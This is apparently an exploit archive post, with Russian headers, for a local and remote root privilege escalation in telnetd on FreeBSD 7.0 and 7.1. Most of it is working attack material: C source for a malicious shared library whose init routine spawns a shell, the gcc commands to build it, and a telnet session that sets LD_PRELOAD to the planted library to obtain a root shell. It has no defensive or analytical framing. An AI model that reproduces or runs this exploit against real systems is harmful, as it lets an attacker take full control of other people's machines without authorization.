Local FreeBSD 7.0, 7.1 root

[AKella]

Цель: FreeBSD 7.0, 7.1
Воздействие: Повышение привилегий

Описание уязвимости:

* Повышение привилегий в telnetd в FreeBSD

Код эксплоита:

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        FILE *f;
        setenv("LD_PRELOAD", "", 1);
        system("echo ALEX-ALEX;/bin/sh");
}
---snip-----

Then we compile this stuff.

---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
---snip-----

Then we copy the file to a known location (local root exploit)

---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----

...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.

---snip-----
#telnet
>auth disable SRA
>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
>open target
---snip-----
ALEX-ALEX
#ROOTSHELL